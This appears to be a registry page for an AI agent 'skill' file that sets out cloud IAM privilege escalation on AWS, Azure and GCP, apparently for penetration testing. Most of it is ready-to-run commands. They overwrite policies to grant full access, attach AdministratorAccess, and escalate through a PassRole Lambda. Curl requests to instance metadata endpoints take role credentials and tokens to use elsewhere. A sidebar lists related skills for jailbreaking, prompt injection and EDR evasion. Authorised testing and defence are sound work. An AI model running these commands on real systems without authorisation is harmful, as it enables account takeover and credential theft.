iam-privesc
Skill5 starsChanged 5 months agoApache-2.0View on GitHub
Cloud IAM privilege escalation methodology for AWS, Azure, and GCP. Covers misconfigured roles, policy enumeration, assume-role chaining, and escalation to admin/root equivalent access.
In this repository33 other files it gives its agents.
- dcsyncSkill
- kerberoastingSkill
- pass-the-hashSkill
- jailbreakingSkill
- model-extractionSkill
- prompt-injectionSkill
- system-prompt-extractionSkill
- jwtSkill
- oauthSkill
- session-attacksSkill
- container-escapeSkill
- s3-enumSkill
- edr-evasionSkill
- initial-accessSkill
- embedding-attacksSkill
- rag-poisoningSkill
- mcp-context-injectionSkill
- mcp-rug-pullSkill
- mcp-tool-poisoningSkill
- osintSkill
- subdomain-enumSkill
- model-tamperingSkill
- cvss4-scoringSkill
- report-writingSkill
- graphqlSkill
- idorSkill
- rceSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- waf-bypassSkill
- xssSkill
- xxeSkill
The file
Files
Cloud IAM Privilege Escalation
Attack Surface
IAM misconfigurations that allow escalation: overly permissive roles, writable policy attachments, unintended trust relationships, wildcard permissions, privilege escalation via service accounts, and Lambda/EC2 metadata credential exposure.
Methodology — AWS
Phase 1 — Enumerate current permissions
# Current identity
aws sts get-caller-identity
# Enumerate attached policies
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
aws iam list-groups-for-user --user-name <username>
# Get policy document (find escalation vectors)
aws iam get-policy-version --policy-arn <arn> --version-id v1
# Automated enumeration
python3 enumerate-iam.py --access-key <key> --secret-key <secret>Phase 2 — Key escalation vectors (AWS)
iam:CreatePolicyVersion (overwrite existing policy):
aws iam create-policy-version --policy-arn <arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-defaultiam:AttachUserPolicy (attach AdministratorAccess):
aws iam attach-user-policy --user-name <username> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccessiam:PassRole + lambda:CreateFunction + lambda:InvokeFunction:
# Create Lambda with a high-privilege role and invoke it to escalate
aws lambda create-function --function-name priv-esc \
--runtime python3.11 --role arn:aws:iam::ACCOUNT:role/HighPrivRole \
--zip-file fileb://payload.zip --handler handler.main
aws lambda invoke --function-name priv-esc output.txtEC2 instance profile credential theft:
# From EC2 instance: steal attached role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
# Use returned AccessKeyId, SecretAccessKey, Token externallyMethodology — Azure
# Enumerate current role assignments
az role assignment list --all --include-inherited
# List available role definitions
az role definition list --query "[?roleType=='CustomRole']"
# Escalation: if Microsoft.Authorization/roleAssignments/write allowed
az role assignment create --assignee <principal-id> \
--role "Owner" --scope /subscriptions/<sub-id>
# Managed identity abuse
az vm identity show --name <vm> --resource-group <rg>
# From inside the VM — steal managed identity token
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:trueMethodology — GCP
# Current identity and permissions
gcloud auth list
gcloud projects get-iam-policy <project-id>
# Service account impersonation (if iam.serviceAccounts.actAs allowed)
gcloud iam service-accounts generate-access-token <high-priv-sa@project.iam.gserviceaccount.com>
# Workload identity / metadata server credential theft
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"Tools
- enumerate-iam — AWS permission bruteforce
- Pacu — AWS attack framework
- ScoutSuite — multi-cloud auditing
- CloudFox — cloud privilege mapping
- Prowler — AWS/Azure/GCP security posture
MITRE ATT&CK Mapping
- T1078.004 — Valid Accounts: Cloud Accounts
- T1548 — Abuse Elevation Control Mechanism
- T1552.005 — Unsecured Credentials: Cloud Instance Metadata API
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

